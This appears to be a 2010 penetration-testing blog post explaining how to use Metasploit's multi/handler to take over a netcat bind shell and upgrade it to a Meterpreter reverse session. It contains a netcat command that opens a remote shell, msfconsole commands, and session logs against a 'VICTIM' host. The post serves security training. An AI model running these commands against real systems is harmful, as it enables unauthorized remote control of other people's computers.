

SecurityWeekly

Malware

Using Metasploit to control netcat and third party exploits

Mark Baggett April 25, 2010

Metasploit has A LOT of exploits, but from time to time you will very likely need to use exploits that are not part of the framework. Whether it is an exploit from www.exploit-db.com that spawns a shell or a netcat listener you can still use the framework to control the host. As long as you have a shell bound to a TCP port you can use metasploit to interact with that victim. What's more, you can upgrade that shell to a meterpreter session so you can benefit from the full power of the framework.

First, to connect to a shell bound to TCP port you will need to use the payload `SHELL_BIND_TCP`. This payload is significantly different from `SHELL/BIND_TCP` because it is a `SINGLE` payload rather than a `STAGED` payload. A staged payload is a small piece of code that allocates memory, opens network ports to communicate with the framework, downloads the remainder of the payload, then executes the rest of the payload. A staged payload is very small so it can easily fit in small buffers. It's size and limited functionality also give antivirus vendors very little to look at. `SINGLE` payloads on the other hand contain everything they need to execute on the victim. So, "`nc -l -p 4444 -e cmd.exe`" is functionally equivalent to `SHELL_BIND_TCP`.

To interact with a netcat listener all you need is the Multi/Handler exploit and the `SINGLE_BIND_TCP` payload. For example:

```
msf > set color false
```

```
color => false
```

```
msf > use multi/handler
```

```
msf exploit(handler) > set payload windows/shell_bind_tcp
```

```
msf exploit(handler) > exploit -z
```

```
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.100.6:56131 -> 192.168.100.17:4444)
[*] Session 1 created in the background.
```

But, to take full advantage of the framework I want to use meterpreter. The framework can automatically take any command session and add a "METERPRETER/REVERSE_TCP" session to the host with the "SESSIONS -U" command. To use the option you will need to use "SETG" to set the LHOST and LPORT variables to point back to your host. Then use "sessions -u" to upgrade a session to meterpreter. The upgrade will leave the existing shell session in place and add a new meterpreter session. For example:

```
msf exploit(handler) > setg LHOST 192.168.100.6
LHOST => 192.168.100.6
```

```
msf exploit(handler) > sessions -u 1
```

```
[*] Started reverse handler on 192.168.100.6:4444
[*] Starting the payload handler...
[*] Command Stager progress - 3.16% done (1694/53583 bytes)
[*] Command Stager progress - 6.32% done (3388/53583 bytes)
truncated
[*] Command Stager progress - 97.99% done (52506/53583 bytes)
[*] Sending stage (748032 bytes) to 192.168.100.17
[*] Command Stager progress - 100.00% done (53583/53583 bytes)
msf exploit(handler) > [*] Meterpreter session 2 opened (192.168.100.6:4444 -> 192.168.100.17:1032)
```

```
msf exploit(handler) > sessions -l
```

Active sessions

=====

Id Type Information Connection

— — — — —

```
1 shell 192.168.100.6:56131 -> 192.168.100.17:4444
2 meterpreter VICTIMAdministrator @ VICTIM 192.168.100.6:4444 -> 192.168.100.17:1032
```

```
msf exploit(handler) >
```

[LOG IN](#) [REGISTER](#)

[Using metasploit to control netcat from a web browser on vimeo.](#)

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st -26th. [SIGN UP TODAY!!](#)

Also, SANS is sponsoring a Lunch and Learn COINS event in Raleigh on May 5th where I will do a presentation on the Metasploit framework. Watch your inbox for an invitation to this event!

[Mark Baggett](#)

RELATED

SECURITY AWARENESS

Virtual Smells, Werfault, 2012, ChatGPT, Captcha, Rust Hyper, & Qualcomm – SWN #265

January 6, 2023

This week in the Security News: Virtual Smells, Werfault, Server 2012, ChatGPT, Captcha, Rust Hyper, Qualcomm, and more on the Security Weekly News!

RANSOMWARE

[LOG IN](#) [REGISTER](#)

Zürich Public Prosecutor's Office, and the NoMoreRansom project, BleepingComputer reports.

DEVICE SECURITY

Android spyware variant targeting banking information

[Stephen Weigand](#) January 6, 2023

A new variation of spyware that targets Android devices has been observed by researchers since October specifically targeting banking applications and impersonating applications from several large reputable financial institutions.

RELATED EVENTS

CYBERCAST

EMOTET Exposed: Inside the Cybercriminals' Supply Chain

ON-DEMAND EVENT

DEMOCAST

Shutting down Data Staging and Data Exfiltration Attacks

ON-DEMAND EVENT

CYBERCAST

Menacing Malware: Exposing Threats Lurking in Your Linux-Based Multi-Cloud

ON-DEMAND EVENT

GET DAILY EMAIL UPDATES

SC Media's daily must-read of the most current and pressing daily news

Business Email*



[LOG IN](#) [REGISTER](#)



ABOUT US

[SC Media](#) | [CyberRisk Alliance](#) | [Contact Us](#) | [Careers](#) | [Privacy](#)

GET INVOLVED

[Subscribe](#) | [Contribute/Speak](#) | [Attend an event](#) | [Join a peer group](#) | [Partner With Us](#)

EXPLORE

[Product reviews](#) | [Research](#) | [White papers](#) | [Webcasts](#) | [Podcasts](#)

Copyright © 2022 CyberRisk Alliance, LLC All Rights Reserved. This material may not be published, broadcast, rewritten or redistributed in any form without prior authorization.
Your use of this website constitutes acceptance of CyberRisk Alliance [Privacy Policy](#) and [Terms & Conditions](#).